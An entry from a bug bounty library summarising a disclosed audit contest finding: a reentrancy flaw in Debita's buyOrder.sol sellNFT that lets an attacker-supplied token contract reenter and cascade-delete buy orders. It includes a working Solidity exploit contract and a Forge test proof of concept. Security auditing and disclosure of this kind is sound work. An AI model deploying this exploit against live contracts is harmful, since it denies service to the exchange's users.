# An attacker can wipe the orderbook in buyOrderFactory.sol

sellNFT in buyOrder.sol lacks reentrancy guard; a malicious wantedToken reenters to cascade-delete buy orders, DoSing the orderbook.

- Payout: Audit contest
- Severity: medium
- Program: Debita
- Found by: 0x37
- Disclosed: 2024-10-31
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-10-debita-judging/issues/326
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-10-debita%3AM-7
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:dos vuln:reentrancy

**Target:** buyOrder.sol sellNFT / buyOrderFactory orderbook
**Root cause:** sellNFT(uint receiptID) performs external calls (to wantedToken/vault) and deletes the buy order without a reentrancy guard, so a malicious token contract can reenter sellNFT and trigger repeated deletions.
**Steps:**
1. Deploy exploit contract implementing a fallback that calls buyOrder.sellNFT(0) then sellNFT(1) on reentry.
2. Call factory.createBuyOrder(AERO, address(exploit), 1, 1) so wantedToken is the exploit contract.
3. Call buyOrderContract.sellNFT(2) to start the flow.
4. During the external call to the exploit token, fallback reenters sellNFT repeatedly, cascading deleteBuyOrder calls.
**How found:** Code review of sellNFT noticing external calls to attacker-controlled wantedToken before state finalization, hypothesizing reentrancy could delete multiple orders.
**Exploitation:** Attacker creates a buy order whose wantedToken is a malicious contract; calling sellNFT triggers an external call into the attacker contract, whose fallback reenters sellNFT, causing a cascade of buy order deletions across the factory orderbook at only gas cost.
**Insight:** In orderbook/factory designs, any user-supplied token or vault address passed into a sell/close function is an attacker-controlled callback surface; check whether deletion or accounting happens after that external call without a guard.

## Proof of concept (copied exactly from the original report)

**Exploit contract reentering sellNFT via fallback**

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface BuyOrder {
    function sellNFT(uint receiptID) external;
}

contract Exploit {
    BuyOrder public buyOrder;
    uint public counter = 0;
    uint public counterMax = 2;

    struct receiptInstance {
        uint receiptID;
        uint attachedNFT;
        uint lockedAmount;
        uint lockedDate;
        uint decimals;
        address vault;
        address underlying;
    }

    constructor() {}

    function setBuyOrder(address _buyOrder) public {
        buyOrder = BuyOrder(_buyOrder);
    }

    fallback() external payable {
        if (counter < 2) {
            counter++;
            buyOrder.sellNFT(0);
        }

        if (counter == counterMax) {
            counter++;
            buyOrder.sellNFT(1);
        } 

    }

    function getDataByReceipt(uint receiptID) public view returns (receiptInstance memory) {
        uint lockedAmount;
        if (receiptID == 1) {
            lockedAmount = 1;
        } else {
            lockedAmount = 0;
        }

        uint lockedDate = 0;
        uint decimals = 0;
        address vault = address(this);
        address underlying = address(this);
        bool OwnerIsManager = true;
        return receiptInstance(receiptID, 0, lockedAmount, lockedDate, decimals, vault, underlying);
    }

}
```

**Forge test triggering cascade of buy order deletions**

```
function testMultipleDeleteBuyOrder() public {
        address alice = makeAddr("alice");
        deal(address(AERO), alice, 1000e18, false);

        vm.startPrank(alice);
        IERC20(AERO).approve(address(factory), 1000e18);
        exploit = new Exploit();

        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);
        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);
        factory.createBuyOrder(address(AERO), address(AERO), 1, 1);
        
        address _buyOrderAddress = factory.createBuyOrder(
            address(AERO),
            address(exploit),
            1,
            1
        );

        exploit.setBuyOrder(_buyOrderAddress);
        buyOrderContract = BuyOrder(_buyOrderAddress);

        buyOrderContract.sellNFT(2);

        vm.stopPrank();
    }
```

